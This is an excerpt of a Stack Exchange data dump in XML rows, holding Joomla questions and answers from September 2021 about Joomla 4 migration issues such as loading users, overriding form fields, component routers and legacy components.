  <row Id="31501" PostTypeId="2" ParentId="31500" CreationDate="2021-09-05T09:28:07.810" Score="2" Body="&lt;p&gt;J4 uses inflector library to pluralize list view names based on form view name. J3 also does something similar, but it's much more limited. One solution would be to use correct plural name for your view. Another solution is to declare &lt;code&gt;$view_list&lt;/code&gt; property in your form controller:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class ProxyController extends FormController&#xA;{&#xA;    protected $view_list = 'proxys';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2021-12-01T14:54:32.667" LastActivityDate="2021-12-01T14:54:32.667" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31502" PostTypeId="1" AcceptedAnswerId="31503" CreationDate="2021-09-05T20:54:25.127" Score="5" ViewCount="1863" Body="&lt;p&gt;I'm looking for an extension for Joomla! 4.0 to replace a deprecated method which was used to load an user by userid. The method used actually is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user = Factory::getUser($userid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The issue is that in the error log it is recommended to use &lt;code&gt;Factory::getApplication()-&amp;gt;getIdentity()&lt;/code&gt; instead, but this method doesn't accept params! The other method that I found is &lt;code&gt;Factory::getApplication()-&amp;gt;loadIdentity()&lt;/code&gt;, but this one accepts User object as its parameter.&lt;/p&gt;&#xA;&lt;p&gt;So which is the non-deprecated method to load a user object by passing userid?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="12352" LastEditDate="2021-09-05T22:11:45.817" LastActivityDate="2022-12-23T12:59:24.253" Title="Non deprecated method in Joomla! 4 to load user by userid" Tags="|extensions|user|joomla-4|jfactory|deprecated|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31503" PostTypeId="2" ParentId="31502" CreationDate="2021-09-06T06:23:15.833" Score="4" Body="&lt;p&gt;Use &lt;code&gt;Joomla\CMS\User\UserFactory&lt;/code&gt;. You can get it from the service container:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\User\UserFactoryInterface;&#xA;&#xA;$userFactory = $container-&amp;gt;get(UserFactoryInterface::class);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or using alias:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$userFactory = $container-&amp;gt;get('user.factory');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where &lt;code&gt;$container&lt;/code&gt; is the container. If you're doing this inside service provider file (&lt;code&gt;services/provider.php&lt;/code&gt;), it's already defined. Otherwise, if using container as service locator inside your classes, get it from main factory:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$container = \Joomla\CMS\Factory::getContainer();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To create a user instance:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user = $userFactory-&amp;gt;loadUserById($id);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="115" LastEditDate="2021-09-27T17:16:31.377" LastActivityDate="2021-09-27T17:16:31.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31504" PostTypeId="2" ParentId="31499" CreationDate="2021-09-06T08:40:28.887" Score="1" Body="&lt;p&gt;This can happen if core &amp;quot;System - Privacy Consent&amp;quot; plugin is enabled. Users are required to agree with privacy policy in their profiles before they can use the site.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-09-06T08:40:28.887" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31505" PostTypeId="1" CreationDate="2021-09-06T12:04:25.800" Score="0" ViewCount="43" Body="&lt;p&gt;An exception has occurred while executing:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT t0.id AS id_1,&#xA;       t0.first_name AS first_name_2,&#xA;       t0.middle_name AS middle_name_3,&#xA;       t0.last_name AS last_name_4,&#xA;       t0.email AS email_5,&#xA;       t0.password AS password_6,&#xA;       t0.roles AS roles_7,&#xA;       t0.is_terms_accepted AS is_terms_accepted_8,&#xA;       t0.phone_number AS phone_number_9,&#xA;       t0.last_login_time AS last_login_time_10,&#xA;       t0.is_active AS is_active_11,&#xA;       t0.application_type AS application_type_12,&#xA;       t0.is_password_created AS is_password_created_13,&#xA;       t0.profile_linked_at AS profile_linked_at_14,&#xA;       t0.account_created_at AS account_created_at_15,&#xA;       t0.password_reset_token AS password_reset_token_16,&#xA;       t0.is_reset_token_valid AS is_reset_token_valid_17,&#xA;       t0.my_profile_id AS my_profile_id_18,&#xA;       t0.account_created_by_id AS account_created_by_id_19,&#xA;       t0.approved_by_id AS approved_by_id_20&#xA;FROM user t0&#xA;WHERE t0.email = ?&#xA;  AND t0.is_active = ?&#xA;LIMIT 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm using these parameters:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[&amp;quot;ict@prisk.or.ke&amp;quot;, 1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;SQLSTATE[42S22]: Column not found: 1054 Unknown column 't0.roles' in 'field list'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15691" LastEditorUserId="12352" LastEditDate="2021-09-07T00:22:08.583" LastActivityDate="2021-09-07T00:22:08.583" Title="ERROR 1054 when login in admin section" Tags="|sql|joomla-3.9|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31506" PostTypeId="1" CreationDate="2021-09-06T12:57:57.783" Score="0" ViewCount="89" Body="&lt;p&gt;I am using a template called Vina Dongky for VirtueMart content and I'm getting some errors.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Warning:&#xA;require_once(/home/priskork/public_html/libraries/joomla/document/html/renderer/head.php):&#xA;failed to open stream: No such file or directory in&#xA;/home/priskork/public_html/templates/vina_dongky/error.php on line 28&lt;/p&gt;&#xA;&lt;p&gt;Fatal error: require_once(): Failed opening required&#xA;'/home/priskork/public_html/libraries/joomla/document/html/renderer/head.php'&#xA;(include_path='.:/opt/alt/php56/usr/share/pear:/opt/alt/php56/usr/share/php')&#xA;in /home/priskork/public_html/templates/vina_dongky/error.php on line&#xA;28&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="15691" LastEditorUserId="12352" LastEditDate="2021-09-07T00:17:40.557" LastActivityDate="2021-09-07T00:17:40.557" Title="No such file or directory while using Vina Dongky template" Tags="|php|templates|extensions|virtuemart|joomla-3.9|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31507" PostTypeId="2" ParentId="15154" CreationDate="2021-09-06T17:21:53.627" Score="0" Body="&lt;p&gt;Joomla 4 comes with a Web Services (REST) API for all of the core components.&lt;/p&gt;&#xA;&lt;p&gt;You can find useful information:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In &lt;a href=&quot;https://magazine.joomla.org/all-issues/august-2020/joomla-web-services-api-101-tokens,-testing-and-a-taste-test&quot; rel=&quot;nofollow noreferrer&quot;&gt;that article&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;In &lt;a href=&quot;https://www.youtube.com/watch?v=lT9qodsvfZg&amp;amp;ab_channel=Joomla%21&quot; rel=&quot;nofollow noreferrer&quot;&gt;that video&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3969" LastEditorUserId="3969" LastEditDate="2021-09-07T10:28:59.240" LastActivityDate="2021-09-07T10:28:59.240" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31508" PostTypeId="1" CreationDate="2021-09-06T18:09:52.137" Score="2" ViewCount="662" Body="&lt;p&gt;This current router.php creates in Joomla 4 this URL: &lt;code&gt;localhost/component/ohanah/?id=688&amp;amp;Itemid=101&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;But it should create this: &lt;code&gt;localhost/kurse/688-event-name&lt;/code&gt; where &amp;quot;event-name&amp;quot; is the event name. The event name is grabbed by &lt;code&gt;public function getEventAlias($id)&lt;/code&gt; and automatically updates the URL to the &lt;code&gt;slug&lt;/code&gt; table inside the database called &lt;code&gt;ohanah_event&lt;/code&gt;. This router.php worked completely fine in Joomla 3.10.0 but broke in Joomla 4.&lt;/p&gt;&#xA;&lt;p&gt;If I disable the router I get a different URL.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;localhost/component/ohanah/?view=event&amp;amp;id=688&amp;amp;format=html&amp;amp;Itemid=101&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I also read &lt;a href=&quot;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Supporting_SEF_URLs_in_your_component&lt;/a&gt; but I cannot see what could cause the issue in my current router.&lt;/p&gt;&#xA;&lt;p&gt;my &lt;strong&gt;router.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @package     Ohanah&#xA; * @copyright   Copyright (C) 2012 - 2015 Beyounic SA. All rights reserved.&#xA; * @license     GNU GPLv3 &amp;lt;http://www.gnu.org/licenses/gpl.html&amp;gt;&#xA; * @link        http://www.beyounic.com&#xA; */&#xA;&#xA;use Joomla\CMS\Component\Router\RouterBase;&#xA;use Joomla\CMS\Application\CMSApplication;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * Ohanah Router&#xA; */&#xA;class ComOhanahRouter&#xA;{&#xA;    /**&#xA;     * Private constructor to avoid direct instantiation&#xA;     */&#xA;    private function __construct()&#xA;    {&#xA;    }&#xA;&#xA;    /**&#xA;     * Returns an instance of the class&#xA;     *&#xA;     * @return ComOhanahRouter&#xA;     */&#xA;    public static function getInstance()&#xA;    {&#xA;        static $instance;&#xA;&#xA;        if (!$instance) {&#xA;            $instance = new ComOhanahRouter();&#xA;        }&#xA;&#xA;        return $instance;&#xA;    }&#xA;&#xA;    /**&#xA;     * Builds a URL from a query object&#xA;     *&#xA;     * @param array $query query object&#xA;     *&#xA;     * @return array&#xA;     */&#xA;    public function build(&amp;amp;$query)&#xA;    {&#xA;        $segments = [];&#xA;        $itemid = null;&#xA;&#xA;        if (empty($query['Itemid'])) {&#xA;            return $segments;&#xA;        }&#xA;&#xA;        $menu = CMSApplication::getInstance('site')-&amp;gt;getMenu()-&amp;gt;getItem($query['Itemid']);&#xA;        if (!$menu) {&#xA;            return $segments;&#xA;        }&#xA;&#xA;        $menu_query = $menu-&amp;gt;query;&#xA;&#xA;        $menu_view = $menu_query['view'] ?? null;&#xA;&#xA;        if ($menu_view === 'events' || $menu_view === 'calendar') {&#xA;            if (array_key_exists('id', $query)) {&#xA;                $segments[] = $this-&amp;gt;getEventAlias($query['id']);&#xA;                unset($query['id'], $query['view'], $query['layout'], $query['tmpl']);&#xA;            }&#xA;        }&#xA;&#xA;        if (isset($query['view'])) {&#xA;            if ($query['view'] === 'checkout' || $query['view'] === 'ticket' || $query['view'] === 'receipt') {&#xA;                unset($query['Itemid']);&#xA;            } else {&#xA;                unset($query['view']);&#xA;            }&#xA;        }&#xA;&#xA;        unset($query['format']);&#xA;&#xA;        return $segments;&#xA;    }&#xA;&#xA;    /**&#xA;     * Returns the alias (id-slug) for a document&#xA;     *&#xA;     * @param string $slug document slug&#xA;     *&#xA;     * @return mixed&#xA;     */&#xA;    public function getEventAlias($id)&#xA;    {&#xA;        $db = Factory::getDbo();&#xA;        $db-&amp;gt;setQuery(sprintf(&amp;quot;&#xA;            SELECT CONCAT_WS('-', tbl.ohanah_event_id, tbl.slug) AS alias&#xA;            FROM `#__ohanah_events` as tbl&#xA;            WHERE tbl.ohanah_event_id = %s&amp;quot;, $db-&amp;gt;quote($id)));&#xA;&#xA;        return $db-&amp;gt;loadResult();&#xA;    }&#xA;&#xA;    /**&#xA;     * Parse the segments into query string&#xA;     *&#xA;     * @param array $segments&#xA;     *&#xA;     * @return array&#xA;     */&#xA;    public function parse($segments)&#xA;    {&#xA;        // Circumvent Joomla's auto encoding&#xA;        foreach ($segments as &amp;amp;$segment) {&#xA;            $segment = urldecode($segment);&#xA;            $pos = strpos($segment, ':');&#xA;            if ($pos !== false) {&#xA;                $segment[$pos] = '-';&#xA;            }&#xA;&#xA;        }&#xA;&#xA;        $vars = [];&#xA;        $app = Factory::getApplication();&#xA;&#xA;        $menu = $app-&amp;gt;getMenu()-&amp;gt;getActive();&#xA;        $view = $app-&amp;gt;input-&amp;gt;getCmd('view', null);&#xA;        $event = $this-&amp;gt;_findEvent(array_slice(array_reverse($segments), 0, 2));&#xA;&#xA;        if ($event) {&#xA;            $position = array_search($event, $segments);&#xA;            $view = 'event';&#xA;&#xA;            unset($segments[$position]);&#xA;        }&#xA;&#xA;        if ($menu !== null) {&#xA;            if ($view === 'event') {&#xA;                $vars['view'] = $view;&#xA;&#xA;                if (isset($menu-&amp;gt;query['view']) &amp;amp;&amp;amp; $menu-&amp;gt;query['view'] === 'event') {&#xA;                    $vars['slug'] = $menu-&amp;gt;query['slug'];&#xA;                } elseif ($event) {&#xA;                    $pieces = explode('-', $event, 2);&#xA;                    $vars['slug'] = array_pop($pieces);&#xA;&#xA;                } else {&#xA;                    $vars['slug'] = '';&#xA;                }&#xA;&#xA;                $vars['path'] = '';&#xA;                if (isset($menu-&amp;gt;query['path'])) {&#xA;                    $vars['path'] .= $menu-&amp;gt;query['path'] . '/';&#xA;                }&#xA;&#xA;                $vars['path'] .= implode('/', $segments);&#xA;            } else // list view&#xA;            {&#xA;                $vars['view'] = $menu-&amp;gt;query['view'];&#xA;                $vars['slug'] = array_pop($segments);&#xA;                if (strpos('/', $vars['slug']) !== false) {&#xA;                    $pieces = explode('/', $vars['slug']);&#xA;                    $vars['slug'] = array_pop($pieces);&#xA;                }&#xA;&#xA;                if (isset($menu-&amp;gt;query['layout'])) {&#xA;                    $vars['layout'] = $menu-&amp;gt;query['layout'];&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;&#xA;        return $vars;&#xA;    }&#xA;&#xA;    /**&#xA;     * Checks the last two segments and tries to find an event&#xA;     *&#xA;     * @param array $segments&#xA;     * @return null|string&#xA;     */&#xA;    protected function _findEvent($segments)&#xA;    {&#xA;        $result = null;&#xA;&#xA;        foreach ($segments as $segment) {&#xA;            if (preg_match('#[0-9]+-(.*?)#', $segment) &amp;amp;&amp;amp; $this-&amp;gt;_isEventAlias($segment)) {&#xA;                $result = $segment;&#xA;            }&#xA;        }&#xA;        return $result;&#xA;    }&#xA;&#xA;    /**&#xA;     * Returns true if the given string is an event alias&#xA;     *&#xA;     * @param string $alias event alias&#xA;     *&#xA;     * @return bool&#xA;     */&#xA;    protected function _isEventAlias($alias)&#xA;    {&#xA;        [$id, $slug] = explode('-', $alias, 2);&#xA;        $query = 'SELECT COUNT(*) FROM #__ohanah_events'&#xA;            . ' WHERE ohanah_event_id = %d AND slug = %s';&#xA;&#xA;        $db = Factory::getDbo();&#xA;        $db-&amp;gt;setQuery(sprintf($query, $id, $db-&amp;gt;quote($slug)));&#xA;&#xA;        return (bool)$db-&amp;gt;loadResult();&#xA;    }&#xA;}&#xA;&#xA;/**&#xA; * Hooks up Ohanah router to Joomla URL build event&#xA; *&#xA; * @param array $query&#xA; *&#xA; * @return array&#xA; */&#xA;function OhanahBuildRoute(&amp;amp;$query)&#xA;{&#xA;    return ComOhanahRouter::getInstance()-&amp;gt;build($query);&#xA;}&#xA;&#xA;/**&#xA; * Hooks up Ohanah router to Joomla URL parse event&#xA; *&#xA; * @param array $segments&#xA; *&#xA; * @return array&#xA; */&#xA;function OhanahParseRoute($segments)&#xA;{&#xA;    return ComOhanahRouter::getInstance()-&amp;gt;parse($segments);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user15692" LastActivityDate="2021-09-06T18:09:52.137" Title="Joomla 4 - router.php SEF-URLs broken since update" Tags="|sef|joomla-4.x|jroute|joomla-4|router|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31509" PostTypeId="2" ParentId="31506" CreationDate="2021-09-06T23:48:11.960" Score="1" Body="&lt;p&gt;Assuming that your using a rockettheme gantry 4 template, the head renderer is already loaded (as of version joomla 3.7? several years ago in any case) now, and the included file is gone so just comment out the line in both error.php and offline.php&lt;/p&gt;&#xA;&lt;p&gt;Alternatively you can check for the class so the template would still work in old Joomla if that's a thing.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (!class_exists('JDocumentRendererHead')) {&#xA;    require_once(JPATH_LIBRARIES.'/joomla/document/html/renderer/head.php');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2021-09-06T23:48:11.960" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31510" PostTypeId="1" AcceptedAnswerId="31511" CreationDate="2021-09-07T07:20:14.120" Score="2" ViewCount="905" Body="&lt;p&gt;I have the following field in my module's XML:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    addfieldpath=&amp;quot;/modules/mod_xxxxxx/fields&amp;quot;&#xA;    name=&amp;quot;icon&amp;quot;&#xA;    type=&amp;quot;filelist&amp;quot;&#xA;    label=&amp;quot;Icon&amp;quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To override this form field in &lt;strong&gt;Joomla 3&lt;/strong&gt;, I would copy:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;libraries/joomla/form/fields/filelist.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;/modules/mod_xxxxxx/fields/filelist.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;and make whatever changes I like to the file.&lt;/p&gt;&#xA;&lt;p&gt;This however, &lt;strong&gt;does not work in Joomla 4&lt;/strong&gt;. The file doesn't even seem to be detected.&lt;/p&gt;&#xA;&lt;p&gt;According to the &lt;a href=&quot;http://The%20libraries/joomla/form/fields%20and%20libraries/joomla/form/rules%20directories%20are%20no%20longer%20registered%20to%20find%20form%20classes,%20all%20form%20classes%20should%20be%20autoloaded%20instead&quot; rel=&quot;nofollow noreferrer&quot;&gt;Potential backward compatibility issues in Joomla 4&lt;/a&gt;, it states:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The libraries/joomla/form/fields and libraries/joomla/form/rules directories are no longer registered to find form classes, all form classes should be autoloaded instead.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;But it provides no documentation on how to do so.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone know how to override a form field in Joomla 4?&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2021-09-07T08:51:20.037" Title="How to override a form field in Joomla 4" Tags="|form|form-fields-types|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31511" PostTypeId="2" ParentId="31510" CreationDate="2021-09-07T08:07:08.013" Score="5" Body="&lt;p&gt;Apparently, you need to use namespaces in your extension to override fields with the same type. This is because of the class lookup order:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Namespaces added using &lt;code&gt;addfieldprefix&lt;/code&gt; attribute or&#xA;&lt;code&gt;Joomla\CMS\Form\FormHelper::addFieldPrefix()&lt;/code&gt; in reverse order.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;Joomla\CMS\Form\Field&lt;/code&gt; namespace.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;J&lt;/code&gt;-prefixed autoloaded classes.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;J&lt;/code&gt;-prefixed classes in directories added using &lt;code&gt;addfieldpath&lt;/code&gt; attribute &lt;code&gt;Joomla\CMS\Form\FormHelper::addFieldPath()&lt;/code&gt; in reverse order.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;To get this working, add &lt;code&gt;&amp;lt;namespace&amp;gt;&lt;/code&gt; tag to your extension's manifest file with namespace and optional path relative to your extension's directory, e.g.:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;Lodder\Module\xxxxxx&amp;lt;/namespace&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Field filename and class name should follow this format: &lt;code&gt;[Type]Field&lt;/code&gt; where &lt;code&gt;[Type]&lt;/code&gt; is the field type. E.g. &lt;code&gt;FilelistField&lt;/code&gt;. Note the first uppercase letter. The file should contain namespace declaration. Your &amp;quot;root&amp;quot; namespace should be suffixed with application name (&lt;code&gt;Site&lt;/code&gt; or &lt;code&gt;Administrator&lt;/code&gt;) depending on whether the module is for frontend or backend. And also contain any subnamespaces. E.g. if the file was in &lt;code&gt;modules/mod_xxxxxx/src/Field/FilelistField.php&lt;/code&gt;, namespace declaration should be this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Lodder\Module\xxxxxx\Site\Field;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Of course, as an alternative to all this you can use a different name for field type.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12352" LastEditDate="2021-09-07T08:51:20.037" LastActivityDate="2021-09-07T08:51:20.037" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31512" PostTypeId="2" ParentId="22577" CreationDate="2021-09-07T10:35:09.410" Score="1" Body="&lt;p&gt;You can do that with the built-in custom field types.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go to Content &amp;gt; Fields&lt;/li&gt;&#xA;&lt;li&gt;Create a field with the name &amp;quot;Speakers&amp;quot; of type &amp;quot;Checkboxes&amp;quot;.&lt;/li&gt;&#xA;&lt;li&gt;Create the values (at the bottom of the page).&lt;/li&gt;&#xA;&lt;li&gt;Go to an article and under the &amp;quot;Fields&amp;quot; tab, check/select the speakers you like.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3969" LastActivityDate="2021-09-07T10:35:09.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31515" PostTypeId="1" CreationDate="2021-09-10T09:46:01.550" Score="1" ViewCount="2151" Body="&lt;p&gt;I cannot find any documentation on router changes for Joomla 4. Can anyone advise? It appears that placing a router.php file in the base directory for the component still works - although not in exactly the same way as for Joomla 3.&lt;/p&gt;&#xA;&lt;p&gt;But Joomla components (e.g. com_banners) do not have a router.php in the base directory, instead having Router.php in src/Service. However, simply placing a similar Router.php file in src/Service in my own component seems to have no effect - it seems not to be activated. Does something have to be done to identify the router to Joomla? If so what and where? Is this preferred? Will the traditional router.php cease working at some point?&lt;/p&gt;&#xA;&lt;p&gt;Also, can the same structure be used with Joomla 3.10? That is, can a component be built the same way to follow the new router convention and work in both Joomla 3.10 and 4.x?&lt;/p&gt;&#xA;&lt;p&gt;I'd be grateful for any pointers.&lt;/p&gt;&#xA;" OwnerUserId="15057" LastActivityDate="2022-02-09T15:03:30.333" Title="Router for Joomla 4" Tags="|joomla-4.x|router|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="31516" PostTypeId="1" CreationDate="2021-09-10T10:58:26.157" Score="1" ViewCount="134" Body="&lt;p&gt;What determines whether Joomla 4 treats something as a legacy component?&lt;/p&gt;&#xA;" OwnerUserId="15057" LastActivityDate="2021-09-10T12:27:09.323" Title="How does Joomla 4 decide a component is legacy?" Tags="|component|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31517" PostTypeId="2" ParentId="31516" CreationDate="2021-09-10T12:27:09.323" Score="3" Body="&lt;p&gt;Any component that is an instance of &lt;code&gt;Joomla\CMS\Extension\LegacyComponent&lt;/code&gt;. This includes:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;J3 style components that do not have &lt;code&gt;services/provider.php&lt;/code&gt; file returning a service provider.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;J4 components that do not provide an implementation of &lt;code&gt;Joomla\CMS\Extension\ComponentInterface&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;J4 components that provide an instance of &lt;code&gt;Joomla\CMS\Extension\LegacyComponent&lt;/code&gt; (which does implement &lt;code&gt;Joomla\CMS\Extension\ComponentInterface&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-09-10T12:27:09.323" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31518" PostTypeId="1" AcceptedAnswerId="31521" CreationDate="2021-09-12T09:19:21.517" Score="3" ViewCount="3927" Body="&lt;p&gt;The &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.Application.CMSApplication.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation for J3&lt;/a&gt; instructs using &lt;code&gt;Factory::getApplication('site')&lt;/code&gt; to get the site application, however according to the &lt;a href=&quot;https://api.joomla.org/cms-4/classes/Joomla.CMS.Application.CMSApplication.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation for J4&lt;/a&gt; doesn't have those method parameters anymore.&lt;/p&gt;&#xA;&lt;p&gt;I'm working on a plugin that requires some file from my site template and aside from a database query, how can I get that template name? Is there a &lt;code&gt;Factory::getSiteApplication()&lt;/code&gt; or anything?&lt;/p&gt;&#xA;" OwnerUserId="13509" LastEditorUserId="13509" LastEditDate="2021-09-12T10:38:11.220" LastActivityDate="2023-10-05T08:39:57.930" Title="Get site application via Factory::getApplication() in Joomla 4" Tags="|php|templates|jfactory|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31519" PostTypeId="2" ParentId="31518" CreationDate="2021-09-12T13:16:06.810" Score="1" Body="&lt;p&gt;The Joomla 4 core com_content component uses&#xA;&lt;code&gt;Factory::getApplication()-&amp;gt;isClient('site');&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/4.0-dev/administrator/components/com_content/src/Extension/ContentComponent.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/4.0-dev/administrator/components/com_content/src/Extension/ContentComponent.php&lt;/a&gt; line 137&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-09-12T13:16:06.810" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31520" PostTypeId="2" ParentId="31515" CreationDate="2021-09-12T13:48:59.640" Score="2" Body="&lt;p&gt;&lt;code&gt;com_banners&lt;/code&gt; and other core components in J4 use service-based structure. For this the component needs to include a &lt;code&gt;services/provider.php&lt;/code&gt; file which returns a service provider. The provider must provide a component instance in form of &lt;code&gt;Joomla\CMS\Extension\ComponentInterface&lt;/code&gt; implementation. The component can implement a number of other interfaces. These implementations decide what common features are supported by a given component. So, for instance, to support routing the component must implement &lt;code&gt;Joomla\CMS\Component\Router\RouterServiceInterface&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Also, can the same structure be used with Joomla 3.10?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;No, J4 style extension do not work in J3. If you want to support both J3 and J4, stick with J3 conventions.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-09-12T13:48:59.640" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31521" PostTypeId="2" ParentId="31518" CreationDate="2021-09-12T15:21:14.980" Score="3" Body="&lt;p&gt;To specifically call the &lt;strong&gt;site&lt;/strong&gt; application, you can use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Factory::getContainer()-&amp;gt;get(\Joomla\CMS\Application\SiteApplication::class);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In Joomla 4, &lt;code&gt;getApplication()&lt;/code&gt; will always return the global application object and doesn't take any arguments.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2021-09-12T15:21:14.980" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
